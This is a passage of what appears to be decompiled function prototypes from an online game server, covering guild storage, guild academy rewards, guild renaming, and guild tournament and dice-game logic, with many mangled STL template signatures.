__int16 size); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_ItemInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_RewardInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring); char __thiscall ShineGuildAcademyRewardStorageWithdraw::lid_Call(ShineGuildAcademyRewardStorageWithdraw *this, #593 *, unsigned __int16); char __thiscall ShineGuildAcademyRewardStorageDeposit::lid_Call(ShineGuildAcademyRewardStorageDeposit *this, #593 *, unsigned __int16); char __thiscall ShineGuildAcademyRewardStorageItemInfoZonRng::lid_Call(ShineGuildAcademyRewardStorageItemInfoZonRng *this, #593 *, unsigned __int16); char __thiscall ShineGuildAcademyRewardStorageRewardInfoZonRng::lid_Call(ShineGuildAcademyRewardStorageRewardInfoZonRng *this, #593 *, unsigned __int16); char __thiscall List::l_PushA(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele); char __thiscall List::l_PopZ(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::GuildAcademyRewardStorageManager(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this); void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueGuildReType *content); void __thiscall MemoryQueueElement::MemoryQueueElement(MemoryQueueElement *this); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ(int a1, int a2, int netcmd, int len, int handle); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ(int a1, int a2, int netcmd, int len, int handle); void __stdcall ShineObjectClass::ShineObject::so_ply_GuildReName(char nItemSlot, __int128 sGuildName); void __stdcall ShineObjectClass::ShineObject::so_ply_GuildReType(char nItemSlot, char nType); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess(void *this); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); void __thiscall MemoryQueue::_MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueGuildReName *content); char __thiscall GuildStorage::GuildStorageElement::gse_GuildCheck(GuildStorage::GuildStorageElement *this, unsigned int guild); void __thiscall GuildStorage::GuildStorageElement::GuildStorageElement(GuildStorage::GuildStorageElement *this); void __thiscall GuildStorage::GuildStorageElement::_GuildStorageElement(GuildStorage::GuildStorageElement *this); char __thiscall GuildStorage::GuildStorageElement::gse_FreeDeactivate(GuildStorage::GuildStorageElement *this, List *lst, unsigned __int16 handle); void __thiscall GuildStorage::GuildStorageElement::gse_Deactivate(GuildStorage::GuildStorageElement *this); void __thiscall GuildStorage::GuildStorageElement::gse_SetActivate(GuildStorage::GuildStorageElement *this); int __thiscall GuildStorage::GuildStorageElement::gse_GuildCompare(GuildStorage::GuildStorageElement *this, List *lst, unsigned __int16 hnd, GuildStorage::GuildStorageElement *key); unsigned __int64 __thiscall GuildStorage::GuildStorageElement::gse_GetMoney(GuildStorage::GuildStorageElement *this); void __thiscall GuildStorage::GuildStorageElement::gse_SetMoney(GuildStorage::GuildStorageElement *this, unsigned __int64 set_cen); unsigned __int64 __thiscall GuildStorage::GuildStorageElement::gse_GetToken(GuildStorage::GuildStorageElement *this); void __thiscall GuildStorage::GuildStorageElement::gse_SetToken(GuildStorage::GuildStorageElement *this, unsigned __int64 nToken); void __thiscall List::_List(List *this); void __thiscall GuildStorage::GuildStorageElement::gse_StoreItem(GuildStorage::GuildStorageElement *this, PROTO_NC_ITEMDB_OPEN_GUILD_STORAGE_ACK *inven, #734 *sp); void __thiscall GuildStorage::GuildStorageManager::_GuildStorageManager(GuildStorage::GuildStorageManager *this); void __thiscall ShineObjectClass::ShinePlayer::sp_GuildStorageClose(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_GuildStorageError(void *this, __int16 err); void __thiscall ShineGuildStorageWithdraw::ShineGuildStorageWithdraw(ShineGuildStorageWithdraw *this, PROTO_NC_GUILD_STORAGEWITHDRAW_RNG *ring); void __thiscall GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member(GuildStorage::GuildStorageManager *this, PROTO_NC_GUILD_STORAGEWITHDRAW_RNG *ring); void __thiscall List::l_Clear(List *this); void __thiscall ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); GuildStorage::GuildStorageElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(GuildStorage::GuildStorageElement *this, List *, unsigned __int16, GuildStorage::GuildStorageElement *), unsigned __int16 *hnd, GuildStorage::GuildStorageElement *key); int __stdcall loc_463894(int compfunc, int hnd, int key); // weak void __thiscall List::l_MakeList(List *this, unsigned __int16 size); GuildStorage::GuildStorageElement *__thiscall GuildStorage::GuildStorageManager::gsm_FindStorage(GuildStorage::GuildStorageManager *this, unsigned int guild, unsigned __int16 *storagehandle); char __thiscall ShineGuildStorageWithdraw::lid_Call(ShineGuildStorageWithdraw *this, #593 *, unsigned __int16); char __thiscall List::l_PushA(List *this, GuildStorage::GuildStorageElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall GuildStorage::GuildStorageElement::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, GuildStorage::GuildStorageElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, GuildStorage::GuildStorageElement *ele); char __thiscall List::l_PopZ(List *this, GuildStorage::GuildStorageElement *ele); void __thiscall GuildStorage::GuildStorageManager::GuildStorageManager(GuildStorage::GuildStorageManager *this); bool __thiscall FieldMap::fm_IsGuildTournametnMap(int this); void __thiscall GuildTouramentLoginDataInfo::GuildTouramentLoginDataInfo(GuildTouramentLoginDataInfo *this); bool __thiscall GuildTouramentLoginDataInfo::IsAccessTime(GuildTouramentLoginDataInfo *this); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsGuildTournamentAccessTime(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildTournament_isSummon(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Send2GuildTournamentLogIn(void *this, int gt_start, char nTournamentSeed); char __thiscall FieldMap::fm_GuildTournamentClear(int this); void __thiscall ShineObjectClass::ShineMob::mb_SendMyGuildInfo(int this, int a2); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStoreGradeFill(int this, char Grade); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isGuildStoreGrade(int this); void __thiscall GameDBSession::gds_NC_ITEMDB_OPEN_GUILD_STORAGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Out(int this, int nSeedNumber); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL(void *this, __int16 nType, int nUseSkill); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_ACK(void *this, __int16 nType); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_CMD(int this, __int16 nType); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_ACK(void *this, __int16 nType); char __thiscall ShineGuildStorageDeactive::lid_Call(ShineGuildStorageDeactive *this, #593 *, unsigned __int16); void __thiscall FieldMap::fm_GuildTournamentEnd(void *this, int winner, int loser); void __thiscall ShineObjectClass::ShineMob::so_mob_SetGuildRegNum(void *this, int gld); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_MEMBERGRADE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_JOIN_NEW_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); signed __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildTournamentJoinNew(void *this, int pReq); void __thiscall GameDBSession::gds_NC_GUILD_TOURNAMENT_DB_JOIN_NEW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __cdecl ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_ENTER_REQ(int netcmd, int len, __int16 handle); // void __userpurge sub_465345(int a1, int a2, int a3, int a4, int a5); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_OUT_REQ(int this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_FlagCaptureFree(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_FlagCaptureFreeCheck(int this, __int16 hFlag); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_ACK(void *this, __int16 nType); void __thiscall WorldManagerSession::wms_GuildTournamantStart(WorldManagerSession *this, PROTO_NC_GUILD_TOURNAMENT_START_CMD *gt_start); // int __usercall ShineObjectClass::ShinePlayer::so_ply_GuildStorageDeactivate(int a1, unsigned __int16 *a2); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStoreFill(void *sp, PROTO_NC_ITEMDB_OPEN_GUILD_STORAGE_ACK *inven); void __thiscall WorldManagerSession::wms_GuildTournamentCheck(WorldManagerSession *this); void __thiscall WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right, unsigned int _Roff, unsigned int _Count); void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Count); bool __cdecl _ErrorSendPlayer(#593 *, int, const char *); bool __cdecl _ErrorSendPlayer(#593 *, int, const char *); FieldOption::GuildTournamentMapStr *__thiscall GuildTouramentLoginDataInfo::GetFieldGTMapInfo(GuildTouramentLoginDataInfo *this, #734 *pPlayer); MapInfo *__thiscall GuildTouramentLoginDataInfo::GetMapInfo(GuildTouramentLoginDataInfo *this, #734 *pPlayer); FieldOption::FieldAttr *__thiscall GuildTouramentLoginDataInfo::GetFieldAttr(GuildTouramentLoginDataInfo *this, #734 *pPlayer); bool __thiscall GuildTouramentLoginDataInfo::GetLinkData(GuildTouramentLoginDataInfo *this, NPCManager::LinkInformTemplete *pLinkInfo, #734 *pObj); int __thiscall ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Enter(_DWORD, _DWORD); // weak void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_OBSERVER_ENTER_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall RoutionInterface::_RoutionInterface(RoutionInterface *this); void *__thiscall RoutionInterface::_vector_deleting_destructor_(RoutionInterface *this, unsigned int); void *__thiscall ScriptInterrupt::InterruptEventArgument::_scalar_deleting_destructor_(ScriptInterrupt::InterruptEventArgument *this, unsigned int); bool __cdecl GuildTournamentSystem::GuildMemberInfo::GradeSort(GuildTournamentSystem::GuildMemberInfo *lhw, GuildTournamentSystem::GuildMemberInfo *rhw); void __thiscall AxialListFlagCaptureCancel::_AxialListFlagCaptureCancel(AxialListFlagCaptureCancel *this); GuildTournamentSystem::GuildGroup *__thiscall GuildTournamentSystem::GetEnemyGuildGroup(GuildTournamentSystem *this, unsigned int GuildNumber); bool __thiscall GuildTournamentSystem::IsBattleGuild(GuildTournamentSystem *this, unsigned int a, unsigned int b); int __thiscall GuildTournamentSystem::GetGuildRegIndex(GuildTournamentSystem *this, #593 *pObject); void __cdecl GuildTournamentSystem::SendBriefChange(#593 *pChange); void __thiscall ScriptInterrupt::InterruptEventWinGuild::_InterruptEventWinGuild(ScriptInterrupt::InterruptEventWinGuild *this); void __thiscall GuildTournamentSystem::FlagInfo::FlagCapture(GuildTournamentSystem::FlagInfo *this, unsigned int GuildNumber); bool __thiscall DiceGame::Start(DiceGame *this, int nTick, unsigned int RedPlayerNumber, unsigned int BluePlayerNumber); void __thiscall DiceGame::Send_DiceThrowResult(DiceGame *this, unsigned int GameUser, unsigned int unResult); bool __thiscall fastdelegate::FastDelegate1::empty(fastdelegate::FastDelegate1 *this); unsigned int __thiscall std::vector>::size(std::vector > *this); unsigned int __thiscall std::vector>::size(std::vector > *this); std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Max(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Min(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Inc(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Val); void __cdecl std::fill(unsigned __int16 *_First, unsigned __int16 *_Last, const unsigned __int16 *_Val); void __cdecl std::fill(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Val); TOURNAMENT_PLAYER_SCORE *__cdecl std::_Copy_backward_opt(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl GuildTournamentSystem::Make_TOURNAMENT_PLAYER_SCORE(TOURNAMENT_PLAYER_SCORE *rScore, #593 *pObejct, GuildTournamentSystem::GuildMemberInfo *rinfo); int __thiscall GuildTournamentSystem::GetVictoryGuild(GuildTournamentSystem *this); int __thiscall GuildTournamentSystem::GetLoseGuild(GuildTournamentSystem *this); void *__thiscall ScriptInterrupt::InterruptEventWinGuild::_scalar_deleting_destructor_(ScriptInterrupt::InterruptEventWinGuild *this, unsigned int); void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator >::iterator *__cdecl std::find_if>::iterator_GuildTournamentSystem::GuildMemberInfo::Find_if_handle>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, GuildTournamentSystem::GuildMemberInfo::Find_if_handle _Pred); ShineObjectClass::ShineNPC *__cdecl ShineDynamicCast(#593 *pObj); int __cdecl ShineDynamicCast(int a1); GuildTournamentSystem::GuildMemberInfo *__cdecl std::copy_backward(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Dest); unsigned __int16 *__cdecl std::copy_backward(unsigned __int16 *_First, unsigned __int16 *_Last, unsigned __int16 *_Dest); GuildTournamentSystem::GuildMemberInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); char __thiscall AxialListFlagCaptureCancel::ali_Work(AxialListFlagCaptureCancel *this, #593 *, #593 *, unsigned int); void __thiscall DiceGame::End(DiceGame *this); std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode); int __stdcall std::vector>::_Ucopy(char *src, int a2, char *dst); void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::GuildMemberInfo *_First, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); TOURNAMENT_PLAYER_SCORE *__cdecl std::_Uninit_copy>(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); bool __thiscall GuildTournamentSystem::IsPlayerRegister(GuildTournamentSystem *this, #593 *pCheckObject); void __thiscall GuildTournamentSystem::SetErrorDelegate(GuildTournamentSystem *this, fastdelegate::FastDelegate1 delegate); void __thiscall GuildTournamentSystem::ClearErrorDelegate(GuildTournamentSystem *this); void __thiscall DiceGame::DiceThrow(DiceGame *this, unsigned int GameUser); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::find(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, const unsigned int *_Keyval); bool __thiscall std::less_std::allocator>>::operator__(std::less,std::allocator > > *this, std::basic_string,std::allocator > *_Left, std::basic_string,std::allocator > *_Right); unsigned __int16 *__thiscall std::vector>::_Ufill(std::vector > *this, unsigned __int16 *_Ptr, unsigned int _Count, const unsigned __int16 *_Val); std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lbound(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > *_Keyval); void __thiscall std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::__Node(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator >::iterator *__cdecl std::_Upper_bound>::iterator_GuildTournamentSystem::GuildMemberInfo_int_bool____cdecl____GuildTournamentSystem::GuildMemberInfo_const___GuildTournamentSystem::GuildMemberInfo_const___>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, GuildTournamentSystem::GuildMemberInfo *_Val, bool (__cdecl *_Pred)(GuildTournamentSystem::GuildMemberInfo *, GuildTournamentSystem::GuildMemberInfo *), int *__formal); void __cdecl std::_Uninit_fill_n>(TOURNAMENT_PLAYER_SCORE *_First, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall GuildTournamentSystem::FlagInfo::FlagInfo(GuildTournamentSystem::FlagInfo *this); void __thiscall GuildTournamentSystem::FlagInfo::_FlagInfo(GuildTournamentSystem::FlagInfo *this); void __thiscall GuildTournamentSystem::Gate::_Gate(GuildTournamentSystem::Gate *this); void __thiscall GuildTournamentSystem::DiceGameThrow(GuildTournamentSystem *this, #593 *pObject); void __thiscall DiceGame::Update(DiceGame *this, int nTick); GuildTournamentSystem::GuildMemberInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::GuildMemberInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::find(...); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where); void __thiscall GuildTournamentSystem::Gate::Gate(GuildTournamentSystem::Gate *this, GuildTournamentSystem::Gate *__that); void __thiscall GuildTournamentSystem::PortalInfo::PortalInfo(GuildTournamentSystem::PortalInfo *this, GuildTournamentSystem::PortalInfo *__that); void __cdecl std::_Construct(GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); void __thiscall std::vector>::_Xran(std::vector > *this); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::_Insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode, std::pair *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall GuildTournamentSystem::FlagInfo::FlagInfo(GuildTournamentSystem::FlagInfo *this, GuildTournamentSystem::FlagInfo *__that); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase(...); int std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::_Node(...); GuildTournamentSystem::Gate *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::AdvanMobItemRegenInfo *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::Gate *__cdecl std::_Uninit_copy>(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::AdvanMobItemRegenInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::GuildMemberInfo *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos); TickTimer *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos); GuildTournamentSystem::FlagInfo *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Erase(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const unsigned __int16 *_Val); std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _First, std::_Tree,std::allocator >,0> >::iterator _Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, TickTimer *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(...); void __cdecl std::fill(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Val); void __cdecl std::fill(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); int __thiscall GuildTournamentSystem::FlagInfo::operator_(int this, int a2); void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::Gate *_First, unsigned int _Count, GuildTournamentSystem::Gate *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); GuildTournamentSystem::FlagInfo *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::FlagInfo 